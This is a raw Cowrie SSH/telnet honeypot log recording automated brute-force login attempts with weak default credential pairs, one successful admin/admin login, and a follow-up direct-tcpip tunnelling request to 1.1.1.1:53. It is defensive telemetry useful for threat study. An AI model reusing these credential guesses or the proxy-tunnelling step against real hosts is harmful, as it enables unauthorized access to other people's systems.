{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:29.454788Z","src_ip":"45.156.87.204","session":"c1539dbdec32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00185775756836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:29.490602Z","src_ip":"152.42.224.71","session":"2d4f15cb1e80","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:29.537192Z","src_ip":"45.156.87.204","session":"c1539dbdec32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:29.787088Z","src_ip":"45.156.87.204","session":"c1539dbdec32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49138,"dst_ip":"10.17.0.5","dst_port":23,"session":"61478c12fab9","protocol":"telnet","message":"New connection: 152.42.224.71:49138 (10.17.0.5:23) [session: 61478c12fab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:30.353987Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:30.872359Z","src_ip":"45.156.87.204","session":"c1539dbdec32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e1c7deae94","protocol":"telnet","message":"New connection: 152.42.224.71:49140 (10.17.0.5:23) [session: c2e1c7deae94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:31.356912Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49156,"dst_ip":"10.17.0.5","dst_port":23,"session":"67861727f759","protocol":"telnet","message":"New connection: 152.42.224.71:49156 (10.17.0.5:23) [session: 67861727f759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:32.363766Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36104,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e41bee45e53","protocol":"ssh","message":"New connection: 45.156.87.204:36104 (159.203.135.109:22) [session: 8e41bee45e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:32.942359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:32.947278Z","src_ip":"45.156.87.204","session":"8e41bee45e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:33.029695Z","src_ip":"45.156.87.204","session":"8e41bee45e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:33.275868Z","src_ip":"45.156.87.204","session":"8e41bee45e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:34.368806Z","src_ip":"45.156.87.204","session":"8e41bee45e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5c7806696c","protocol":"telnet","message":"New connection: 152.42.224.71:49162 (10.17.0.5:23) [session: 2c5c7806696c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:34.975044Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57144,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1a1de2b811","protocol":"telnet","message":"New connection: 152.42.224.71:57144 (10.17.0.5:23) [session: cd1a1de2b811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:36.012685Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"85280402e9f9","protocol":"ssh","message":"New connection: 45.156.87.204:36110 (159.203.135.109:22) [session: 85280402e9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:36.979672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:36.984843Z","src_ip":"45.156.87.204","session":"85280402e9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:37.067477Z","src_ip":"45.156.87.204","session":"85280402e9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:37.320141Z","src_ip":"45.156.87.204","session":"85280402e9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"4542e9c6896a","protocol":"telnet","message":"New connection: 152.42.224.71:57148 (10.17.0.5:23) [session: 4542e9c6896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:37.517613Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49166,"dst_ip":"10.17.0.5","dst_port":23,"session":"a19699682827","protocol":"telnet","message":"New connection: 152.42.224.71:49166 (10.17.0.5:23) [session: a19699682827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:38.385732Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:38.405309Z","src_ip":"45.156.87.204","session":"85280402e9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165510177612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:38.839569Z","src_ip":"152.42.224.71","session":"d98f81a86c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36118,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f348112a30","protocol":"ssh","message":"New connection: 45.156.87.204:36118 (159.203.135.109:22) [session: 58f348112a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:40.720413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:40.727448Z","src_ip":"45.156.87.204","session":"58f348112a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:40.810625Z","src_ip":"45.156.87.204","session":"58f348112a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:41.057179Z","src_ip":"45.156.87.204","session":"58f348112a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.4","message":"Connection lost after 22.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:41.702934Z","src_ip":"47.237.167.49","session":"a745c0a56f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:42.146090Z","src_ip":"45.156.87.204","session":"58f348112a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017454624176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:42.597773Z","src_ip":"152.42.224.71","session":"784dda3c560c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"a86242ea89f9","protocol":"ssh","message":"New connection: 45.156.87.204:34040 (159.203.135.109:22) [session: a86242ea89f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:44.603111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:44.608004Z","src_ip":"45.156.87.204","session":"a86242ea89f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:44.697469Z","src_ip":"45.156.87.204","session":"a86242ea89f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.34576416015625,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:44.836400Z","src_ip":"152.42.224.71","session":"64a7b55d1f45","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:44.944106Z","src_ip":"45.156.87.204","session":"a86242ea89f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.249669551849365,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:45.486761Z","src_ip":"152.42.224.71","session":"ac3cab4e8ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:46.032879Z","src_ip":"45.156.87.204","session":"a86242ea89f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.35971164703369,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:46.932727Z","src_ip":"152.42.224.71","session":"dbe022aa2713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56056,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4ec56a2816c","protocol":"telnet","message":"New connection: 152.42.224.71:56056 (10.17.0.5:23) [session: c4ec56a2816c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:47.550984Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34050,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9dc7ec28a93","protocol":"ssh","message":"New connection: 45.156.87.204:34050 (159.203.135.109:22) [session: b9dc7ec28a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.239991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.244352Z","src_ip":"45.156.87.204","session":"b9dc7ec28a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.326818Z","src_ip":"45.156.87.204","session":"b9dc7ec28a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.578946Z","src_ip":"45.156.87.204","session":"b9dc7ec28a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f58a2f89cbb7","protocol":"ssh","message":"New connection: 87.251.64.176:9592 (10.17.0.5:22) [session: f58a2f89cbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.712451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.717028Z","src_ip":"87.251.64.176","session":"f58a2f89cbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:48.813666Z","src_ip":"87.251.64.176","session":"f58a2f89cbb7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:49.105025Z","src_ip":"87.251.64.176","session":"f58a2f89cbb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:49.205229Z","session":"f58a2f89cbb7","protocol":"ssh"}
